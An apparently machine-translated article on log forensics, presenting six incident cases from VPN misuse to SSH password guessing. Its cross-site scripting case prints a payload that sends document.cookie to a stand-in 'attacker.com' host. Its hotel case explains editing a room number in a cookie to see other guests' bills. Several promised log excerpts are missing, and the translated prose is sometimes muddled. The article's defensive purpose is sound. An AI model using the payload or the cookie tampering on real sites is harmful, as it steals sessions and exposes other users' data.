Basic log forensics Technology

Can you find out the target to collect evidence from your company's massive log data?

Nowadays, a large amount of log data generated by your entire network is enough to swallow people. All devices record every action of the entire enterprise network in nanoseconds. The biggest problem is how to identify any attack on your intrusion detector, firewall analyzer, log parser, and other servers.

As we all know, with a slight negligence, the key evidence that proves the attack event may be annihilated in any of these databases. So what are the points for review? Where can I start? Next, let's introduce some detection technologies to let you know where you need to pay special attention.

Theoretically, you should first reduce the target range according to some conditions. For example, based on a suspicious time range, a meaningless IP address, or operations that only Administrators can perform, such as group policy changes. Multiple repeated log records, such as repeated attempts to enter wrong passwords, are also a manifestation of potential threats. Using commercial log management tools or services is also a good way to help you better find the target and explore the hidden threats in the log.

We asked several experts to hear their insights and practical case studies. For privacy reasons, we cannot reproduce all the information, but this security should be sufficient to let you know how to search for this important information. Of course, these examples are just the tip of the iceberg. Commercial tools can help you lock your targets and link events, and learning to detect such suspicious things helps improve your technical skills.
Case 1: unauthorized data download

One company went bankrupt due to poor operation. All Database Management permissions are frozen and any information cannot be deleted. The forensic engineer found the record on a manager's computer.

This log shows that a manager still uses his computer to download a zip file containing user information from a website after the system is blocked.

"In the beginning, we didn't even know that such a Web server exists, and it is parked outside ." Ralph Losey, e-discovery, who took over the case, said. They discovered the IP server based on the trace in the log file.

Lesson: This record is noticeable because of the time segment it was generated (after freezing and after AM from work) and the website requested by this file. The analyst finally tracked the user based on the IP address in the log. Therefore, you must be careful when downloading zip files and other types of large files, especially when most people are out of work hours.

　Case 2: unable to log on to the network

This security happens to a securities broker preparing to begin trading. But traders found they could not log on to their computers. In this case, all people will ask the question: "Who did this during the time when they came home from work ?"

A variety of Windows Servers generate a large amount of log data, which makes this problem very difficult. In this case, we use the SenSage log management tool to filter all data to find out the key events that occurred before policy setting and group account setting at night. The following is the one it finds:

In this case, Active Directory is the most likely to be suspected, and IT staff determined that someone had modified the Organization Unit the night before ). They discovered a series of group policy changes, including the one mentioned above.

In Windows, deleting a group policy object will produce an event ID of 566, and then it will be recorded, indicating the "delete" operation.

Through this report, the brokerage company was able to identify the administrator who made the change. It was discovered that this was only a misoperation, not a malicious attempt.

Lesson: many companies now limit the number of people allowed to catalog their applications, and as long as they make any changes, it is necessary to use common users to test whether normal operations are affected.

　　Case 3: former employees still have Access Permissions

We know that threats to internal personnel are often the most difficult to defend against. In this case, we found that an employee who has been dismissed has accessed the enterprise's Virtual Private Network (VPN) and deleted important data. This is not just a matter of data loss, but it also gives us many warnings in other aspects. You have to enter the wrong password repeatedly based on the employee, time, or the three. Let's take a look at the data packets captured by the RSA enVision log analyzer:

Somehow, the user DJohnson (see the highlighted section in the following example) successfully passed the Cisco VPN authentication (maybe his account has not been disabled yet, or he obtained temporary access from the service desk through social engineering ). We use the enVision filter function to find unauthenticated users, or users who repeatedly attempt wrong passwords in a short time. We can see that he deleted a table named "cash flow" (see the highlighted text at the bottom of the example), which is likely to be used to conceal previous errors.

Lesson: Make sure that you have a complete set of dismissal procedures. In addition, you need to provide more training for the service desk staff.

Case 4: hijack user sessions

We all know that Web is an insecure media, but what should we do to enhance its security? Here is a simple example to demonstrate how to rob a user's session data in the cookies on the hard disk. This scene occurs when the user checks his hotel bill online.

Generally, when the hotel's settlement system authenticates a user, the information in his/her room is stored in the cookie. You can search for these cookie files directly on the local hard disk. If you have a built-in proxy server, it is simpler. For example, for Firebug in Firefox and IE Watch in IE, you can use these two tools to see which cookies are created when you connect to the website.

The following is part of the cookie file:

You can see that the cookie contains two elements related to the user's Room 412 (see the highlighted text on page 21 ). If you change these two places to other room numbers, such as 312, and then save the cookie, then when you open the online billing program, you will be able to see the accounts of other users.

Lesson: Sometimes log files are not secure. Some poorly designed Web applications write some user authentication information into insecure files, which is also very dangerous.

　Case 5: cross-site scripting attacks on Web Servers

Cross-site scripting attacks are too common. Some Web servers do not strictly validate user input, so hackers can inject malicious content on the fly, causing a series of problems. Take a look at the following Javascript code. It can be filled in common input boxes for online dating or dating websites. These input boxes are intended for normal users to modify their personal information.

Document. write ("img src = http: // attacker. Com "+ document. cookie +" width = 0> ") In this video, Caleb Sima, HP's chief application security technology officer, discussed the attack: http://www.calebsima.com/israel-presentation.html. )

This Code also adds some special loads, so every time a user accesses the user's personal information, his own information will be sent to the attacker without knowing it. This will affect all users who have viewed the user's personal information. The following are our Web server log files:

These are the user IDs implanted with the attack code. The black text part can steal the JavaScript code entered by the user in the browser. We can now impersonate these users, or even modify their personal information and use their identities to communicate with others.

The most severe cross-site scripting attack occurred when the SamyMyspace worm broke out several years ago (html "> http://namb.la/popular/tech.html ). In less than one day, hackers successfully infected more than 1 million users.

Lesson: Verify user input! Cross-site scripting attacks are well known. The best measure is to make developers more vigilant and careful.

Case 6: Guess the root password

We may all forget the password, but what if the password is not strong enough? This is a log file selected from LogLogic, a log management vendor.

This item has been repeated for thousands of times (see highlighted text in the lower left) and lasted for several days. Then we found the following one, showing that the user finally got the correct password.

Lesson: Do not use weak passwords, especially on SSH servers for the Internet. Even if you disable all relevant ports, you should be careful when malicious users repeatedly test weak passwords.